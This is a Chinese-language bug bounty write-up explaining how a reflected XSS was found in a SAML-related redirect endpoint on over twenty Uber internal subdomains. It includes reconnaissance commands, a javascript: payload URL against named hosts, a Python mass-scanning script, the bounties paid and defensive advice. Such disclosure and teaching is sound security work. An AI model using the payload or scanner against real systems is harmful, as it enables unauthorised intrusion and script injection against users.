我是如何发现一个影响20个Uber子域名的XSS
字数 1355 2025-08-26 22:11:15
基于SAML认证的XSS漏洞挖掘实战教学
1. 背景知识
1.1 SAML认证概述
SAML (Security Assertion Markup Language) 是一种用于身份验证和授权的开放标准。在SAML流程中:
- 服务提供者(SP)依赖身份提供者(IdP)进行用户认证
- 用户访问SP时被重定向到IdP进行认证
- 认证成功后,IdP返回包含用户信息的SAML响应给SP
1.2 关键概念
- SAMLRequest: 从SP发送到IdP的认证请求
- SAMLResponse: 从IdP返回给SP的认证响应
- RelayState: 认证完成后重定向回SP的URL
2. 漏洞挖掘流程
2.1 信息收集阶段
-
子域名枚举
- 使用工具如
aquatone进行子域名发现 - 重点关注目标范围内的子域名(如uberinternal.com)
- 收集子域名的截图和基本信息
- 使用工具如
-
认证流程分析
- 观察内部系统是否使用SAML认证(本例中重定向到uber.onelogin.com)
- 识别SAML请求参数(本例中的base64编码的SAMLRequest)
2.2 漏洞发现阶段
2.2.1 工具准备
- SAML解码工具: 用于分析SAML请求/响应
- BurpSuite SAML插件: 辅助测试SAML流程
- 自定义工具SAMLExtractor: 批量提取URL的SAML回调
2.2.2 目录爆破
使用dirsearch工具扫描oidauth目录:
./dirsearch.py -u https://carbon-prototype.uberinternal.com:443/oidauth/ -ejson
发现关键端点:
/oidauth/logout: 注销页面/oidauth/prompt: 重定向端点
2.2.3 XSS漏洞验证
- 构造恶意URL:
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=javascript:alert(123);//Fady&return_to=/?openid_c=1542156766.5/SnNQg==&splash_disabled=1
- 关键参数:
base: 可控的URL参数,可注入JavaScript代码return_to: 认证后重定向URL
- 漏洞特征:
- 反射型XSS
- 结合点击劫持可增强攻击效果
2.3 批量验证方法
使用Python脚本批量检测XSS漏洞:
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()
with open("uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + doesit)
脚本逻辑:
- 读取子域名列表
- 构造包含XSS payload的URL
- 发送请求并检查响应中是否包含payload标记("Fady")
- 输出检测结果
3. 漏洞利用与报告
3.1 漏洞影响
- 影响超过20个Uber子域名
- 可执行任意JavaScript代码
- 结合点击劫持可诱导用户点击
3.2 报告内容
-
第一份报告:
- 影响多个uberinternal.com子域
- 奖金: $2,000
-
第二份报告:
- 影响eng.uberinternal.com和coeshift.corp.uber.internal
- 奖金: $500
4. 防御建议
4.1 开发层面
- 对所有用户输入进行严格过滤和编码
- 避免在重定向中使用未经验证的用户输入
- 实现Content Security Policy (CSP)
4.2 测试层面
- 定期进行安全审计和渗透测试
- 对SAML实现进行专项安全测试
- 自动化扫描XSS等常见漏洞
5. 总结
本案例展示了如何通过以下步骤发现SAML认证系统中的XSS漏洞:
- 全面的信息收集和子域名枚举
- 分析认证流程和SAML实现
- 针对关键端点进行测试
- 开发自动化工具进行批量验证
- 编写清晰的技术报告
这种系统化的方法不仅适用于SAML系统,也可应用于其他认证协议的漏洞挖掘。